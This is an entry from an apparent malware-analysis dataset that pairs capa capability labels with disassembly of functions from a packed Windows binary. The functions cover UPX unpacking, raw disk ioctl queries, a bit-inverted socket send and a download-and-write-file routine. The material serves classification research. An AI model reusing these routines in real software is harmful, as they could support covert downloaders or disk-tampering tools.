joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419610
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x11000]
push edi
or ebp, 0xffffffff
jmp 0x419632
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419639
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419628
pushfd
xor eax, eax
inc eax
popfd
add ebx, ebx
jne 0x41964b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419640
jne 0x41965c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419640
xor ecx, ecx
sub eax, 3
jb 0x419670
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4196e2
mov ebp, eax
add ebx, ebx
jne 0x41967b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419688
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4196ac
inc ecx
add ebx, ebx
jne 0x419698
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41968d
jne 0x4196a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41968d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4196cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4196bd
jmp 0x41962e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4196cc
add edi, ecx
jmp 0x41962e
pop esi
push esi
pop edi
mov ecx, 0x5ce
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4196ea
cmp byte [edi], 0
jne 0x4196ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4196ef
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x41975e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x191e8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1924c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41971c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19250]
or eax, eax
je 0x419758
mov dword [ebx], eax
add ebx, 4
jmp 0x419739
call dword [esi + 0x19254]
popal
jmp 0x40e274
Function at 0x4028e9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x407180
cmp edx, dword [eax]
je 0x40290b
add eax, 8
inc ecx
cmp eax, 0x407210
jl 0x4028fc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x407180]
jne 0x402a39
mov eax, dword [0x407afc]
cmp eax, 1
je 0x402a13
test eax, eax
jne 0x40293c
cmp dword [0x4070b8], 1
je 0x402a13
cmp edx, 0xfc
je 0x402a39
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402973
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004030d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403700
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4029b6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403700
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x406464
push edi
call fcn.00404860
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004030d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004030e0
lea eax, [ebp - 0xa0]
push 0x406444
push eax
call fcn.004030e0
push dword [esi + 0x407184]
lea eax, [ebp - 0xa0]
push eax
call fcn.004030e0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004047ce
add esp, 0x2c
pop edi
jmp 0x402a39
lea eax, [ebp + 8]
lea esi, [esi + 0x407184]
push 0
push eax
push dword [esi]
call fcn.00403700
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4011e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x40122b
jmp 0x4012ae
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 8]
mov dword [edx], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004108c9
add esp, 4
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
push eax
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00417ec0
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00414390
add esp, 0xc
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x401a90
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
xor eax, eax
mov word [ebp - 0x134], ax
mov dword [ebp - 0x130], 0
push 0x118
push 0
lea ecx, [ebp - 0x12c]
push ecx
call fcn.00417ec0
add esp, 0xc
mov dword [ebp - 0x130], 0x11c
lea edx, [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x401b8a
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x128]
mov dword [ebp - 8], ecx
mov dx, word [ebp - 0x1c]
mov word [ebp - 0x134], dx
cmp dword [ebp - 0xc], 5
jne 0x401b3c
cmp dword [ebp - 8], 0
jne 0x401b3c
movzx eax, word [ebp - 0x134]
cmp eax, 4
jl 0x401b3c
mov dword [ebp - 4], 1
cmp dword [ebp - 0xc], 5
jne 0x401b4f
cmp dword [ebp - 8], 2
jne 0x401b4f
mov dword [ebp - 4], 2
cmp dword [ebp - 0xc], 5
jne 0x401b68
cmp dword [ebp - 8], 2
jae 0x401b61
cmp dword [ebp - 8], 1
jne 0x401b68
mov dword [ebp - 4], 3
cmp dword [ebp - 0xc], 6
jne 0x401b8a
cmp dword [ebp - 8], 0
jne 0x401b7d
mov dword [ebp - 4], 4
jmp 0x401b8a
cmp dword [ebp - 8], 1
jne 0x401b8a
mov dword [ebp - 4], 5
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004107a7
mov esp, ebp
pop ebp
ret

Function at 0x401ba0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 4], 0xffffffff
push 0
push 0
push 3
push 0
push 3
push connect
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401bde
or eax, 0xffffffff
or edx, 0xffffffff
jmp 0x401c0d
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x401bfd
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401dc0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00417ec0
add esp, 0xc
cmp dword [0x428f30], 3
jne 0x401e28
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x426c2c
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.0041123d
add esp, 0xc
jmp 0x401e3a
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x210]
push eax
push 0x426c30
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004107a7
mov esp, ebp
pop ebp
ret
Function at 0x401f90
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x401fc3
jmp 0x402014
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
push 0
push 0x200
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.004159b0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x402220
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x40226f
jmp 0x402357
mov dword [ebp - 8], 0xc00
mov eax, dword [ebp - 8]
push eax
call fcn.004108c9
add esp, 4
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], ecx
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
push 0
push 0
push 0x70050
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x4022ba
jmp 0x402357
mov dword [ebp - 4], 0
jmp 0x4022cc
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x40233a
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x90
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + eax + 0x3c]
cmp edx, dword [ebp - 0xc]
jl 0x402338
jg 0x402304
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + eax + 0x38]
cmp edx, dword [ebp - 0x10]
jbe 0x402338
mov eax, dword [ebp - 4]
imul eax, eax, 0x90
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + eax + 0x38]
mov dword [ebp - 0x10], edx
mov eax, dword [ecx + eax + 0x3c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x90
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + ecx + 0x40]
mov dword [ebp - 0x20], eax
mov ecx, dword [edx + ecx + 0x44]
mov dword [ebp - 0x1c], ecx
jmp 0x4022c3
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
adc eax, dword [ebp - 0x1c]
push 0
push 0x200
push eax
push edx
call fcn.0041bad0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], 0
je 0x402376
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004111d3
add esp, 4
mov dword [ebp - 0x24], 0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x402590
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00417ec0
add esp, 0xc
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x214], 0xffffffff
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [ebp - 0x210]
sub eax, 0x41
mov dword [ebp - 0x218], eax
lea ecx, [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x218]
push edx
call fcn.00402100
add esp, 8
mov eax, dword [ebp - 0x21c]
push eax
call fcn.00402020
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x40263a
xor eax, eax
jmp 0x40264d
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x214]
push edx
call fcn.004023e0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004107a7
mov esp, ebp
pop ebp
ret

Function at 0x403f30
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov ecx, dword [ebp + 8]
mov dword [ecx], 0
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0x14], 0x10325476
mov eax, dword [ebp + 8]
mov dword [eax + 0x18], 0xc3d2e1f0
pop ebp
ret
Function at 0x404220
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x107c
call fcn.00419cf0
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x107c], 0
push 0x426730
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00410a07
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x40427d
xor edx, edx
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], edx
xor eax, eax
jmp 0x404346
push 2
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.0041172f
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
call fcn.0041193f
add esp, 4
mov dword [ebp - 0x74], eax
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.0041172f
add esp, 0xc
lea ecx, [ebp - 0x70]
push ecx
call fcn.00403f30
add esp, 4
mov edx, dword [ebp - 8]
push edx
push 0x1000
push 1
lea eax, [ebp - 0x1078]
push eax
call fcn.00411bee
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jbe 0x404303
lea ecx, [ebp - 0x70]
push ecx
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x1078]
push eax
call fcn.00403f80
add esp, 0xc
mov ecx, dword [ebp - 0x107c]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x107c], ecx
jmp 0x4042b8
lea edx, [ebp - 0x70]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00404090
add esp, 8
mov ecx, dword [ebp - 8]
push ecx
call fcn.00410c8c
add esp, 4
mov edx, dword [ebp - 0x107c]
cmp edx, dword [ebp - 0x74]
jae 0x404341
xor eax, eax
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
xor eax, eax
jmp 0x404346
mov eax, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004107a7
mov esp, ebp
pop ebp
ret
Function at 0x404660
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x404694
jmp 0x404750
mov dword [ebp - 0x18], 0
jmp 0x4046a6
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp + 0x10]
jge 0x4046c3
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x18]
movzx ecx, byte [eax]
not ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x18]
mov byte [edx], cl
jmp 0x40469d
mov eax, dword [ebp + 0x10]
add eax, 7
push eax
call fcn.004108c9
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
movzx edx, word [ebp + 0x10]
add edx, 5
mov eax, dword [ebp - 0xc]
mov word [eax], dx
mov ecx, dword [ebp - 0xc]
add ecx, 2
mov edx, dword [str.AS101]
mov dword [ecx], edx
mov al, byte [0x428fb4]
mov byte [ecx + 4], al
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0xc]
add eax, 7
push eax
call fcn.00414390
add esp, 0xc
mov ecx, dword [ebp + 0x10]
add ecx, 7
mov dword [ebp + 0x10], ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x404745
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
je 0x404749
jmp 0x404750
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0x404768
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.004111d3
add esp, 4
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x404ea0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00419cf0
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x1014], 0
mov dword [0x42a640], 0
push 0x426728
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00410a07
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x404ef4
xor eax, eax
jmp 0x404f9a
push 0
push 4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x404f14
xor eax, eax
jmp 0x404f9a
mov edx, dword [ebp - 0x1014]
cmp edx, dword [ebp - 0xc]
jae 0x404f7a
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404f44
jmp 0x404f7a
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
lea edx, [ebp - 0x1010]
push edx
call fcn.00410ba5
add esp, 0x10
mov eax, dword [ebp - 0x1014]
add eax, dword [ebp - 4]
mov dword [ebp - 0x1014], eax
mov ecx, dword [ebp - 0x1014]
mov dword [0x42a640], ecx
jmp 0x404f14
mov edx, dword [ebp - 8]
push edx
call fcn.00410c8c
add esp, 4
mov eax, dword [ebp - 0x1014]
cmp eax, dword [ebp - 0xc]
jae 0x404f95
xor eax, eax
jmp 0x404f9a
mov eax, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004107a7
mov esp, ebp
pop ebp
ret
Function at 0x405550
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00417ec0
add esp, 0xc
cmp dword [ebp + 8], 0
je 0x405598
cmp dword [ebp + 0xc], 0
jne 0x4055a2
jmp 0x40568a
mov dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
je 0x405615
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x218], edx
mov eax, dword [ebp - 0x218]
add eax, 2
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x218]
mov dx, word [ecx]
mov word [ebp - 0x21e], dx
add dword [ebp - 0x218], 2
cmp word [ebp - 0x21e], 0
jne 0x4055c7
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x21c]
sar eax, 1
mov dword [ebp - 0x224], eax
je 0x405615
push 0x426134
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00410a07
add esp, 0xc
jmp 0x405658
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42613c
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call fcn.0041123d
add esp, 0xc
push 0x426158
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 4]
push eax
call fcn.00410a07
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x405680
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00410ba5
add esp, 0x10
mov ecx, dword [ebp - 4]
push ecx
call fcn.00410c8c
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004107a7
mov esp, ebp
pop ebp
ret
Function at 0x4056a0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00417ec0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x4056ef
cmp dword [ebp + 0xc], 0
jne 0x4056f9
jmp 0x405806
cmp dword [ebp + 0x10], 0
je 0x40574e
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x218], edx
mov eax, dword [ebp - 0x218]
add eax, 2
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x218]
mov dx, word [ecx]
mov word [ebp - 0x21e], dx
add dword [ebp - 0x218], 2
cmp word [ebp - 0x21e], 0
jne 0x405717
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x21c]
sar eax, 1
mov dword [ebp - 0x224], eax
jne 0x405758
jmp 0x405806
cmp dword [0x428f30], 3
jne 0x40578e
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x426160
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.0041123d
add esp, 0xc
jmp 0x4057a0
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, dword [ebp + 0x10]
push ecx
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.0041123d
add esp, 0xc
push 0x426164
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 4]
push ecx
call fcn.00410a07
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x4057da
jmp 0x405806
mov edx, dword [ebp - 4]
push edx
push 1
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411bee
add esp, 0x10
mov edx, dword [ebp - 4]
push edx
call fcn.00410c8c
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004107a7
mov esp, ebp
pop ebp
ret